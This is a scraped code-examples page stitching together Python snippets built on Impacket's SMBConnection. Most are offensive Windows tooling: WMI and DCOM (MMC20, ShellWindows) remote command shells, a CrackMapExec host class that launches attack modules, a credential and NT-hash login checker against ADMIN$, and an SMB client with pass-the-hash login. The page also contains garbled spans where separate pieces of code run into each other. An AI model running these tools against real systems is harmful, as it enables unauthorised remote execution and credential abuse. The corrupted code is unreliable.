Ejemplo n.º 1
0
    def enum_host_info(self):
        try:
            smb_conn = SMBConnection(self.host, self.host, None)
            try:
                smb_conn.login('', '')
            except SessionError as e:
                if "STATUS_ACCESS_DENIED" in e.message:
                    pass

            self.domain = smb_conn.getServerDomain()
            self.hostname = smb_conn.getServerName()

            self.logger.extra['hostname'] = self.hostname

            try:
                smb_conn.logoff()
            except:
                pass

        except Exception as e:
            logging.debug("Error retrieving host domain: {} specify one manually with the '-d' flag".format(e))

        if self.args.domain:
            self.domain = self.args.domain

        if self.args.local_auth:
            self.domain = self.hostname
Ejemplo n.º 2
0
    def run(self, addr):
        if self.__noOutput is False:
            try:
                smbConnection = SMBConnection(addr, addr)
                if self.__doKerberos is False:
                    smbConnection.login(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash)
                else:
                    smbConnection.kerberosLogin(self.__username, self.__password, self.__domain, self.__lmhash,
                                                self.__nthash, self.__aesKey, kdcHost=self.__kdcHost)

                dialect = smbConnection.getDialect()
                if dialect == SMB_DIALECT:
                    logging.info("SMBv1 dialect used")
                elif dialect == SMB2_DIALECT_002:
                    logging.info("SMBv2.0 dialect used")
                elif dialect == SMB2_DIALECT_21:
                    logging.info("SMBv2.1 dialect used")
                else:
                    logging.info("SMBv3.0 dialect used")
            except Exception as e:
                return e
                sys.stdout.flush()
                sys.exit(1)
        else:
            smbConnection = None

        dcom = DCOMConnection(addr, self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash,
                              self.__aesKey, oxidResolver=True, doKerberos=self.__doKerberos, kdcHost=self.__kdcHost)
        try:
            iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,wmi.IID_IWbemLevel1Login)
            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
            iWbemServices= iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL, NULL)
            iWbemLevel1Login.RemRelease()

            win32Process,_ = iWbemServices.GetObject('Win32_Process')

            self.shell = RemoteShell(self.__share, win32Process, smbConnection)
            if self.__command != ' ':
                self.shell.onecmd(self.__command)
            else:
                self.shell.cmdloop()
        except  (Exception, KeyboardInterrupt), e:
            global totalOutput
            totalOutput=str(e)
            #logging.error(str(e))
            try:
                if smbConnection is not None:
                    smbConnection.logoff()
            except:
                pass
            try:
                dcom.disconnect()
            except:
                pass
            sys.stdout.flush()
            return str(e)
Ejemplo n.º 3
0
    def getMachineName(self):
        if self.__kdcHost is not None:
            s = SMBConnection(self.__kdcHost, self.__kdcHost)
        else:
            s = SMBConnection(self.__domain, self.__domain)
        try:
            s.login('', '')
        except Exception:
            logging.debug('Error while anonymous logging into %s' % self.__domain)

        s.logoff()
        return s.getServerName()
Ejemplo n.º 4
0
 def getMachineName(self):
     if self.__kdcHost is not None and self.__targetDomain == self.__domain:
         s = SMBConnection(self.__kdcHost, self.__kdcHost)
     else:
         s = SMBConnection(self.__targetDomain, self.__targetDomain)
     try:
         s.login('', '')
     except Exception:
         if s.getServerName() == '':
             raise 'Error while anonymous logging into %s'
     else:
         try:
             s.logoff()
         except Exception:
             # We don't care about exceptions here as we already have the required
             # information. This also works around the current SMB3 bug
             pass
     return "%s.%s" % (s.getServerName(), s.getServerDNSDomainName())
Ejemplo n.º 5
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password,
                                    self.__domain, self.__lmhash,
                                    self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username,
                                            self.__password,
                                            self.__domain,
                                            self.__lmhash,
                                            self.__nthash,
                                            self.__aesKey,
                                            kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr,
                              self.__username,
                              self.__password,
                              self.__domain,
                              self.__lmhash,
                              self.__nthash,
                              self.__aesKey,
                              oxidResolver=True,
                              doKerberos=self.__doKerberos,
                              kdcHost=self.__kdcHost)
        try:
            iInterface = dcom.CoCreateInstanceEx(wmi.CLSID_WbemLevel1Login,
                                                 wmi.IID_IWbemLevel1Login)
            iWbemLevel1Login = wmi.IWbemLevel1Login(iInterface)
            iWbemServices = iWbemLevel1Login.NTLMLogin('//./root/cimv2', NULL,
                                                       NULL)
            iWbemLevel1Login.RemRelease()

            win32Process, _ = iWbemServices.GetObject('Win32_Process')

            self.shell = RemoteShell(self.__share, win32Process, smbConnection)
            if self.__command != ' ':
                self.shell.onecmd(self.__command)
            else:
                self.shell.cmdloop()
        except (Exception, KeyboardInterrupt) as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            logging.error(str(e))
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()
            sys.exit(1)

        if smbConnection is not None:
            smbConnection.logoff()
        dcom.disconnect()
Ejemplo n.º 6
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password,
                                    self.__domain, self.__lmhash,
                                    self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username,
                                            self.__password,
                                            self.__domain,
                                            self.__lmhash,
                                            self.__nthash,
                                            self.__aesKey,
                                            kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr,
                              self.__username,
                              self.__password,
                              self.__domain,
                              self.__lmhash,
                              self.__nthash,
                              self.__aesKey,
                              oxidResolver=True,
                              doKerberos=self.__doKerberos,
                              kdcHost=self.__kdcHost)
        try:
            dispParams = DISPPARAMS(None, False)
            dispParams['rgvarg'] = NULL
            dispParams['rgdispidNamedArgs'] = NULL
            dispParams['cArgs'] = 0
            dispParams['cNamedArgs'] = 0

            if self.__dcomObject == 'ShellWindows':
                # ShellWindows CLSID (Windows 7, Windows 10, Windows Server 2012R2)
                iInterface = dcom.CoCreateInstanceEx(
                    string_to_bin('9BA05972-F6A8-11CF-A442-00A0C90A8F39'),
                    IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Item', ))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_METHOD, dispParams,
                                   0, [], [])
                iItem = IDispatch(
                    self.getInterface(
                        iMMC,
                        resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                resp = iItem.GetIDsOfNames(('Document', ))
                resp = iItem.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                    dispParams, 0, [], [])
                pQuit = None
            elif self.__dcomObject == 'ShellBrowserWindow':
                # ShellBrowserWindow CLSID (Windows 10, Windows Server 2012R2)
                iInterface = dcom.CoCreateInstanceEx(
                    string_to_bin('C08AFD90-F2A1-11D1-8455-00A0C91F3880'),
                    IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Document', ))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                   dispParams, 0, [], [])
                pQuit = iMMC.GetIDsOfNames(('Quit', ))[0]
            elif self.__dcomObject == 'MMC20':
                iInterface = dcom.CoCreateInstanceEx(
                    string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'),
                    IID_IDispatch)
                iMMC = IDispatch(iInterface)
                resp = iMMC.GetIDsOfNames(('Document', ))
                resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                   dispParams, 0, [], [])
                pQuit = iMMC.GetIDsOfNames(('Quit', ))[0]
            else:
                logging.fatal('Invalid object %s' % self.__dcomObject)
                return

            iDocument = IDispatch(
                self.getInterface(
                    iMMC,
                    resp['pVarResult']['_varUnion']['pdispVal']['abData']))

            if self.__dcomObject == 'MMC20':
                resp = iDocument.GetIDsOfNames(('ActiveView', ))
                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                        dispParams, 0, [], [])

                iActiveView = IDispatch(
                    self.getInterface(
                        iMMC,
                        resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                pExecuteShellCommand = iActiveView.GetIDsOfNames(
                    ('ExecuteShellCommand', ))[0]
                self.shell = RemoteShellMMC20(
                    self.__share, (iMMC, pQuit),
                    (iActiveView, pExecuteShellCommand), smbConnection)
            else:
                resp = iDocument.GetIDsOfNames(('Application', ))
                resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                        dispParams, 0, [], [])

                iActiveView = IDispatch(
                    self.getInterface(
                        iMMC,
                        resp['pVarResult']['_varUnion']['pdispVal']['abData']))
                pExecuteShellCommand = iActiveView.GetIDsOfNames(
                    ('ShellExecute', ))[0]
                self.shell = RemoteShell(self.__share, (iMMC, pQuit),
                                         (iActiveView, pExecuteShellCommand),
                                         smbConnection)

            if self.__command != ' ':
                self.shell.onecmd(self.__command)
                if self.shell is not None:
                    self.shell.do_exit('')
            else:
                self.shell.cmdloop()
        except (Exception, KeyboardInterrupt) as e:
            if logging.getLogger().level == logging.DEBUG:
                import traceback
                traceback.print_exc()
            if self.shell is not None:
                self.shell.do_exit('')
            logging.error(str(e))
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()
            sys.exit(1)

        if smbConnection is not None:
            smbConnection.logoff()
        dcom.disconnect()
Ejemplo n.º 7
0
class SMBTransport(DCERPCTransport):
    """Implementation of ncacn_np protocol sequence"""

    def __init__(self, target, credential = SMBCredential(), filename='', smb_connection=None):
        DCERPCTransport.__init__(self, target)
        self.__socket = None
        self.__tid = 0
        self.__filename = filename
        self.__handle = 0
        self.__pending_recv = 0
        self.__credential = credential
        self.set_credentials(credential)

        if target.hostname is not None:
            self.setRemoteHost(target.hostname)

        if smb_connection is None:
            self.__existing_smb = False
        else:
            self.__existing_smb = True
            self.set_credentials(smb_connection.getCredentials())

        self.__prefDialect = None
        self.__smb_connection = smb_connection

    def preferred_dialect(self, dialect):
        self.__prefDialect = dialect

    def setup_smb_connection(self):
        if not self.__smb_connection:
            self.__smb_connection = SMBConnection(self.getRemoteName(), self.getRemoteHost(), sess_port=self.get_dport(),
                                                  preferredDialect=self.__prefDialect)

    def connect(self):
        # Check if we have a smb connection already setup
        if self.__smb_connection is None:
            self.setup_smb_connection()
            if self._doKerberos is False:
                self.__smb_connection.login(self.__credential)
            else:
                self.__smb_connection.kerberos_login(self.__credential)
        self.__tid = self.__smb_connection.connectTree('IPC$')
        self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename)
        self.__socket = self.__smb_connection.getSMBServer().get_socket()
        return 1

    def disconnect(self):
        self.__smb_connection.disconnectTree(self.__tid)
        # If we created the SMB connection, we close it, otherwise
        # that's up for the caller
        if self.__existing_smb is False:
            self.__smb_connection.logoff()
            self.__smb_connection.close()
            self.__smb_connection = None

    def send(self,data, forceWriteAndx = 0, forceRecv = 0):
        if self._max_send_frag:
            offset = 0
            while 1:
                toSend = data[offset:offset+self._max_send_frag]
                if not toSend:
                    break
                self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset = offset)
                offset += len(toSend)
        else:
            self.__smb_connection.writeFile(self.__tid, self.__handle, data)
        if forceRecv:
            self.__pending_recv += 1

    def recv(self, forceRecv = 0, count = 0 ):
        if self._max_send_frag or self.__pending_recv:
            # _max_send_frag is checked because it's the same condition we checked
            # to decide whether to use write_andx() or send_trans() in send() above.
            if self.__pending_recv:
                self.__pending_recv -= 1
            return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead = self._max_recv_frag)
        else:
            return self.__smb_connection.readFile(self.__tid, self.__handle)

    def get_smb_connection(self):
        return self.__smb_connection

    def set_smb_connection(self, smb_connection):
        self.__smb_connection = smb_connection
        self.set_credentials(smb_connection.getCredentials())
        self.__existing_smb = True

    def get_smb_server(self):
        # Raw Access to the SMBServer (whatever type it is)
        return self.__smb_connection.getSMBServer()

    def get_socket(self):
        return self.__socket

    def doesSupportNTLMv2(self):
        return self.__smb_connection.doesSupportNTLMv2()
Ejemplo n.º 8
0
    def run(self, addr):
        if self.__noOutput is False:
            smbConnection = SMBConnection(addr, addr)
            if self.__doKerberos is False:
                smbConnection.login(self.__username, self.__password,
                                    self.__domain, self.__lmhash,
                                    self.__nthash)
            else:
                smbConnection.kerberosLogin(self.__username,
                                            self.__password,
                                            self.__domain,
                                            self.__lmhash,
                                            self.__nthash,
                                            self.__aesKey,
                                            kdcHost=self.__kdcHost)

            dialect = smbConnection.getDialect()
            if dialect == SMB_DIALECT:
                logging.info("SMBv1 dialect used")
            elif dialect == SMB2_DIALECT_002:
                logging.info("SMBv2.0 dialect used")
            elif dialect == SMB2_DIALECT_21:
                logging.info("SMBv2.1 dialect used")
            else:
                logging.info("SMBv3.0 dialect used")
        else:
            smbConnection = None

        dcom = DCOMConnection(addr,
                              self.__username,
                              self.__password,
                              self.__domain,
                              self.__lmhash,
                              self.__nthash,
                              self.__aesKey,
                              oxidResolver=True,
                              doKerberos=self.__doKerberos,
                              kdcHost=self.__kdcHost)
        try:
            iInterface = dcom.CoCreateInstanceEx(
                string_to_bin('49B2791A-B1AE-4C90-9B8E-E860BA07F889'),
                IID_IDispatch)
            iMMC = IDispatch(iInterface)

            resp = iMMC.GetIDsOfNames(('Document', ))

            dispParams = DISPPARAMS(None, False)
            dispParams['rgvarg'] = NULL
            dispParams['rgdispidNamedArgs'] = NULL
            dispParams['cArgs'] = 0
            dispParams['cNamedArgs'] = 0
            resp = iMMC.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                               dispParams, 0, [], [])

            iDocument = IDispatch(
                self.getInterface(
                    iMMC,
                    resp['pVarResult']['_varUnion']['pdispVal']['abData']))
            resp = iDocument.GetIDsOfNames(('ActiveView', ))
            resp = iDocument.Invoke(resp[0], 0x409, DISPATCH_PROPERTYGET,
                                    dispParams, 0, [], [])

            iActiveView = IDispatch(
                self.getInterface(
                    iMMC,
                    resp['pVarResult']['_varUnion']['pdispVal']['abData']))
            pExecuteShellCommand = iActiveView.GetIDsOfNames(
                ('ExecuteShellCommand', ))[0]

            pQuit = iMMC.GetIDsOfNames(('Quit', ))[0]

            self.shell = RemoteShell(self.__share, (iMMC, pQuit),
                                     (iActiveView, pExecuteShellCommand),
                                     smbConnection)
            if self.__command != ' ':
                self.shell.onecmd(self.__command)
                if self.shell is not None:
                    self.shell.do_exit('')
            else:
                self.shell.cmdloop()
        except (Exception, KeyboardInterrupt), e:
            #import traceback
            #traceback.print_exc()
            if self.shell is not None:
                self.shell.do_exit('')
            logging.error(str(e))
            if smbConnection is not None:
                smbConnection.logoff()
            dcom.disconnect()
            sys.stdout.flush()
            sys.exit(1)
Ejemplo n.º 9
0
    def __init__(self, args, db, host, module, chain_list, cmeserver, share_name):
        self.args = args
        self.db = db
        self.host = host
        self.module = module
        self.chain_list = chain_list
        self.cmeserver = cmeserver
        self.share_name = share_name
        self.conn = None
        self.hostname = None
        self.domain = None
        self.server_os = None
        self.logger = None
        self.password = None
        self.username = None
        self.hash = None
        self.admin_privs = False
        self.failed_logins = 0
        
        try:
            smb = SMBConnection(self.host, self.host, None, self.args.smb_port)

            #Get our IP from the socket
            local_ip = smb.getSMBServer().get_socket().getsockname()[0]

            #Get the remote ip address (in case the target is a hostname) 
            remote_ip = smb.getRemoteHost()

            try:
                smb.login('' , '')
            except SessionError as e:
                if "STATUS_ACCESS_DENIED" in e.message:
                    pass

            self.host = remote_ip
            self.domain   = smb.getServerDomain()
            self.hostname = smb.getServerName()
            self.server_os = smb.getServerOS()

            if not self.domain:
                self.domain = self.hostname

            self.db.add_host(self.host, self.hostname, self.domain, self.server_os)

            self.logger = CMEAdapter(getLogger('CME'), {
                                                        'host': self.host, 
                                                        'port': self.args.smb_port,
                                                        'hostname': u'{}'.format(self.hostname)
                                                       })

            self.logger.info(u"{} (name:{}) (domain:{})".format(
                                                                self.server_os,
                                                                self.hostname.decode('utf-8'), 
                                                                self.domain.decode('utf-8')
                                                                ))

            try:
                '''
                    DC's seem to want us to logoff first, windows workstations sometimes reset the connection
                    (go home Windows, you're drunk)
                '''
                smb.logoff()
            except:
                pass

            if self.args.mssql:
                instances = None
                self.logger.extra['port'] = self.args.mssql_port

                mssql = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                mssql.connect()

                instances = mssql.getInstances(10)
                if len(instances) > 0:
                    self.logger.info("Found {} MSSQL instance(s)".format(len(instances)))
                    for i, instance in enumerate(instances):
                        self.logger.highlight("Instance {}".format(i))
                        for key in instance.keys():
                            self.logger.highlight(key + ":" + instance[key])

                try:
                    mssql.disconnect()
                except:
                    pass

            if (self.args.username and (self.args.password or self.args.hash)) or self.args.cred_id:
                
                if self.args.mssql and (instances is not None and len(instances) > 0):
                    self.conn = tds.MSSQL(self.host, self.args.mssql_port, self.logger)
                    self.conn.connect()
                
                elif not args.mssql:
                    self.conn = SMBConnection(self.host, self.host, None, self.args.smb_port)

        except socket.error:
            pass

        if self.conn:
            if self.args.domain:
                self.domain = self.args.domain

            if self.args.local_auth:
                self.domain = self.hostname

            self.login()

            if (self.password is not None or self.hash is not None) and self.username is not None:

                if self.module or self.chain_list:

                    if self.chain_list:
                        module = self.chain_list[0]['object']

                    module_logger = CMEAdapter(getLogger('CME'), {
                                                                  'module': module.name.upper(), 
                                                                  'host': self.host, 
                                                                  'port': self.args.smb_port, 
                                                                  'hostname': self.hostname
                                                                 })
                    context = Context(self.db, module_logger, self.args)
                    context.localip  = local_ip

                    if hasattr(module, 'on_request') or hasattr(module, 'has_response'):
                        cmeserver.server.context.localip = local_ip

                    if self.module:

                        launcher = module.launcher(context, None if not hasattr(module, 'command') else module.command)
                        payload = module.payload(context, None if not hasattr(module, 'command') else module.command)

                        if hasattr(module, 'on_login'):
                            module.on_login(context, self, launcher, payload)

                        if self.admin_privs and hasattr(module, 'on_admin_login'):
                            module.on_admin_login(context, self, launcher, payload)

                    elif self.chain_list:
                        module_list = self.chain_list[:]
                        module_list.reverse()

                        final_launcher = module_list[0]['object'].launcher(context, None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command)
                        if len(module_list) > 2:
                            for m in module_list:
                                if m['object'] == module or m['object'] == module_list[0]['object']:
                                    continue
                                
                                final_launcher = m['object'].launcher(context, final_launcher)

                        if module == module_list[0]['object']: 
                            final_launcher = None if not hasattr(module_list[0]['object'], 'command') else module_list[0]['object'].command
                        
                        launcher = module.launcher(context, final_launcher)
                        payload  = module.payload(context, final_launcher)

                        if hasattr(module, 'on_login'):
                            module.on_login(context, self)

                        if self.admin_privs and hasattr(module, 'on_admin_login'):
                            module.on_admin_login(context, self, launcher, payload)

                elif self.module is None and self.chain_list is None:
                    for k, v in vars(self.args).iteritems():
                        if hasattr(self, k) and hasattr(getattr(self, k), '__call__'):
                            if v is not False and v is not None:
                                getattr(self, k)()
Ejemplo n.º 10
0
def login(host, args):
    try:
        smbconn = SMBConnection(host, host,
                                timeout=args.timeout)  # throws socket.error
    except Exception as e:
        sys.stdout.write('{} {}\\{} {}\n'.format(
            host, args.domain, args.username + ':' + args.password,
            'ConnectionError'))
        return

    error_code = STATUS_SUCCESS
    try:
        if args.nthash:
            smbconn.login(args.username,
                          '',
                          nthash=args.password,
                          domain=args.domain)
        elif args.nthash:
            smbconn.login(args.username,
                          '',
                          lmhash=args.password,
                          domain=args.domain)
        else:
            smbconn.login(args.username, args.password, domain=args.domain)
    except impacket.smbconnection.SessionError as e:
        error_code = e.getErrorCode()

    if error_code != STATUS_SUCCESS:
        status = 'LoginError'
        if error_code == STATUS_LOGON_FAILURE:
            status = 'Failure'
            if args.domain != '.':
                raise RuntimeError(
                    'Aborting: domain creds are invalid, preventing lockout')
        sys.stdout.write('{} {}\\{} {}\n'.format(
            host, args.domain, args.username + ':' + args.password, status))
        return

    try:
        # for s in smbconn.listShares():
        #     print(s['shi1_netname'][:-1])
        smbconn.connectTree(r'ADMIN$')
        status = '*Success'
    except Exception as e:
        error_code = e.getErrorCode()

    if error_code != STATUS_SUCCESS:
        status = 'ConnectTreeError ' + hex(error_code)
        if smbconn.isGuestSession():
            status = 'Guest'
        elif error_code == STATUS_ACCESS_DENIED:
            status = 'Success'
        elif error_code == STATUS_BAD_NETWORK_NAME:
            # ADMIN$ doesn't exist, probably Samba
            status = 'ShareNameError'

    try:
        smbconn.logoff()
    except:
        pass
    sys.stdout.write('{} {}\\{} {}\n'.format(
        host, args.domain, args.username + ':' + args.password, status))
Ejemplo n.º 11
0
class SMBTransport(DCERPCTransport):
    """Implementation of ncacn_np protocol sequence"""

    def __init__(
        self,
        remoteName,
        dstport=445,
        filename="",
        username="",
        password="",
        domain="",
        lmhash="",
        nthash="",
        aesKey="",
        TGT=None,
        TGS=None,
        remote_host="",
        smb_connection=0,
        doKerberos=False,
        kdcHost=None,
    ):
        DCERPCTransport.__init__(self, remoteName, dstport)
        self.__socket = None
        self.__tid = 0
        self.__filename = filename
        self.__handle = 0
        self.__pending_recv = 0
        self.set_credentials(username, password, domain, lmhash, nthash, aesKey, TGT, TGS)
        self._doKerberos = doKerberos
        self._kdcHost = kdcHost

        if remote_host != "":
            self.setRemoteHost(remote_host)

        if smb_connection == 0:
            self.__existing_smb = False
        else:
            self.__existing_smb = True
            self.set_credentials(*smb_connection.getCredentials())

        self.__prefDialect = None
        self.__smb_connection = smb_connection

    def preferred_dialect(self, dialect):
        self.__prefDialect = dialect

    def setup_smb_connection(self):
        if not self.__smb_connection:
            self.__smb_connection = SMBConnection(
                self.getRemoteName(),
                self.getRemoteHost(),
                sess_port=self.get_dport(),
                preferredDialect=self.__prefDialect,
            )

    def connect(self):
        # Check if we have a smb connection already setup
        if self.__smb_connection == 0:
            self.setup_smb_connection()
            if self._doKerberos is False:
                self.__smb_connection.login(self._username, self._password, self._domain, self._lmhash, self._nthash)
            else:
                self.__smb_connection.kerberosLogin(
                    self._username,
                    self._password,
                    self._domain,
                    self._lmhash,
                    self._nthash,
                    self._aesKey,
                    kdcHost=self._kdcHost,
                    TGT=self._TGT,
                    TGS=self._TGS,
                )
        self.__tid = self.__smb_connection.connectTree("IPC$")
        self.__handle = self.__smb_connection.openFile(self.__tid, self.__filename)
        self.__socket = self.__smb_connection.getSMBServer().get_socket()
        return 1

    def disconnect(self):
        self.__smb_connection.disconnectTree(self.__tid)
        # If we created the SMB connection, we close it, otherwise
        # that's up for the caller
        if self.__existing_smb is False:
            self.__smb_connection.logoff()
            self.__smb_connection = 0

    def send(self, data, forceWriteAndx=0, forceRecv=0):
        if self._max_send_frag:
            offset = 0
            while 1:
                toSend = data[offset : offset + self._max_send_frag]
                if not toSend:
                    break
                self.__smb_connection.writeFile(self.__tid, self.__handle, toSend, offset=offset)
                offset += len(toSend)
        else:
            self.__smb_connection.writeFile(self.__tid, self.__handle, data)
        if forceRecv:
            self.__pending_recv += 1

    def recv(self, forceRecv=0, count=0):
        if self._max_send_frag or self.__pending_recv:
            # _max_send_frag is checked because it's the same condition we checked
            # to decide whether to use write_andx() or send_trans() in send() above.
            if self.__pending_recv:
                self.__pending_recv -= 1
            return self.__smb_connection.readFile(self.__tid, self.__handle, bytesToRead=self._max_recv_frag)
        else:
            return self.__smb_connection.readFile(self.__tid, self.__handle)

    def get_smb_connection(self):
        return self.__smb_connection

    def set_smb_connection(self, smb_connection):
        self.__smb_connection = smb_connection
        self.set_credentials(*smb_connection.getCredentials())
        self.__existing_smb = True

    def get_smb_server(self):
        # Raw Access to the SMBServer (whatever type it is)
        return self.__smb_connection.getSMBServer()

    def get_socket(self):
        return self.__socket

    def doesSupportNTLMv2(self):
        return self.__smb_connection.doesSupportNTLMv2()
Ejemplo n.º 12
0
class MiniImpacketShell(cmd.Cmd):
    def __init__(self, smbClient, tcpShell=None):
        #If the tcpShell parameter is passed (used in ntlmrelayx),
        # all input and output is redirected to a tcp socket
        # instead of to stdin / stdout
        if tcpShell is not None:
            cmd.Cmd.__init__(self, stdin=tcpShell.stdin, stdout=tcpShell.stdout)
            sys.stdout = tcpShell.stdout
            sys.stdin = tcpShell.stdin
            sys.stderr = tcpShell.stdout
            self.use_rawinput = False
            self.shell = tcpShell
        else:
            cmd.Cmd.__init__(self)
            self.shell = None

        self.prompt = '# '
        self.smb = smbClient
        self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey, self.TGT, self.TGS = smbClient.getCredentials()
        self.tid = None
        self.intro = 'Type help for list of commands'
        self.pwd = ''
        self.share = None
        self.loggedIn = True
        self.last_output = None
        self.completion = []

    def emptyline(self):
        pass

    def precmd(self, line):
        # switch to unicode
        return line

    def onecmd(self,s):
        retVal = False
        try:
           retVal = cmd.Cmd.onecmd(self,s)
        except Exception as e:
           LOG.error(e)
           LOG.debug('Exception info', exc_info=True)

        return retVal

    def do_exit(self,line):
        if self.shell is not None:
            self.shell.close()
        return True

    def do_shell(self, line):
        output = os.popen(line).read()
        print(output)
        self.last_output = output

    def do_help(self,line):
        print("""
 open {host,port=445} - opens a SMB connection against the target host/port
 login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it'll be prompted
 kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it'll be prompted. Use the DNS resolvable domain name
 login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes
 logoff - logs off
 shares - list available shares
 use {sharename} - connect to an specific share
 cd {path} - changes the current directory to {path}
 lcd {path} - changes the current local directory to {path}
 pwd - shows current remote directory
 password - changes the user password, the new password will be prompted for input
 ls {wildcard} - lists all the files in the current directory
 rm {file} - removes the selected file
 mkdir {dirname} - creates the directory under the current path
 rmdir {dirname} - removes the directory under the current path
 put {filename} - uploads the filename into the current path
 get {filename} - downloads the filename from the current path
 mget {mask} - downloads all files from the current directory matching the provided mask
 cat {filename} - reads the filename from the current path
 mount {target,path} - creates a mount point from {path} to {target} (admin required)
 umount {path} - removes the mount point at {path} without deleting the directory (admin required)
 list_snapshots {path} - lists the vss snapshots for the specified path
 info - returns NetrServerInfo main results
 who - returns the sessions currently connected at the target host (admin required)
 close - closes the current SMB Session
 exit - terminates the server process (and this session)

""")

    def do_password(self, line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        from getpass import getpass
        newPassword = getpass("New Password:"******"SMBv1 dialect used")
        elif dialect == SMB2_DIALECT_002:
            LOG.info("SMBv2.0 dialect used")
        elif dialect == SMB2_DIALECT_21:
            LOG.info("SMBv2.1 dialect used")
        else:
            LOG.info("SMBv3.0 dialect used")

        self.share = None
        self.tid = None
        self.pwd = ''
        self.loggedIn = False
        self.password = None
        self.lmhash = None
        self.nthash = None
        self.username = None

    def do_login(self,line):
        if self.smb is None:
            LOG.error("No connection open")
            return
        l = line.split(' ')
        username = ''
        password = ''
        domain = ''
        if len(l) > 0:
           username = l[0]
        if len(l) > 1:
           password = l[1]

        if username.find('/') > 0:
           domain, username = username.split('/')

        if password == '' and username != '':
            from getpass import getpass
            password = getpass("Password:"******"GUEST Session Granted")
        else:
            LOG.info("USER Session Granted")
        self.loggedIn = True

    def do_kerberos_login(self,line):
        if self.smb is None:
            LOG.error("No connection open")
            return
        l = line.split(' ')
        username = ''
        password = ''
        domain = ''
        if len(l) > 0:
           username = l[0]
        if len(l) > 1:
           password = l[1]

        if username.find('/') > 0:
           domain, username = username.split('/')

        if domain == '':
            LOG.error("Domain must be specified for Kerberos login")
            return

        if password == '' and username != '':
            from getpass import getpass
            password = getpass("Password:"******"GUEST Session Granted")
        else:
            LOG.info("USER Session Granted")
        self.loggedIn = True

    def do_login_hash(self,line):
        if self.smb is None:
            LOG.error("No connection open")
            return
        l = line.split(' ')
        domain = ''
        if len(l) > 0:
           username = l[0]
        if len(l) > 1:
           hashes = l[1]
        else:
           LOG.error("Hashes needed. Format is lmhash:nthash")
           return

        if username.find('/') > 0:
           domain, username = username.split('/')

        lmhash, nthash = hashes.split(':')

        self.smb.login(username, '', domain,lmhash=lmhash, nthash=nthash)
        self.username = username
        self.lmhash = lmhash
        self.nthash = nthash

        if self.smb.isGuestSession() > 0:
            LOG.info("GUEST Session Granted")
        else:
            LOG.info("USER Session Granted")
        self.loggedIn = True

    def do_logoff(self, line):
        if self.smb is None:
            LOG.error("No connection open")
            return
        self.smb.logoff()
        del self.smb
        self.share = None
        self.smb = None
        self.tid = None
        self.pwd = ''
        self.loggedIn = False
        self.password = None
        self.lmhash = None
        self.nthash = None
        self.username = None

    def do_info(self, line):
        if self.loggedIn is False:
            LOG.error("Not logged in")
            return
        rpctransport = transport.SMBTransport(self.smb.getRemoteHost(), filename = r'\srvsvc', smb_connection = self.smb)
        dce = rpctransport.get_dce_rpc()
        dce.connect()
        dce.bind(srvs.MSRPC_UUID_SRVS)
        resp = srvs.hNetrServerGetInfo(dce, 102)

        print("Version Major: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_major'])
        print("Version Minor: %d" % resp['InfoStruct']['ServerInfo102']['sv102_version_minor'])
        print("Server Name: %s" % resp['InfoStruct']['ServerInfo102']['sv102_name'])
        print("Server Comment: %s" % resp['InfoStruct']['ServerInfo102']['sv102_comment'])
        print("Server UserPath: %s" % resp['InfoStruct']['ServerInfo102']['sv102_userpath'])
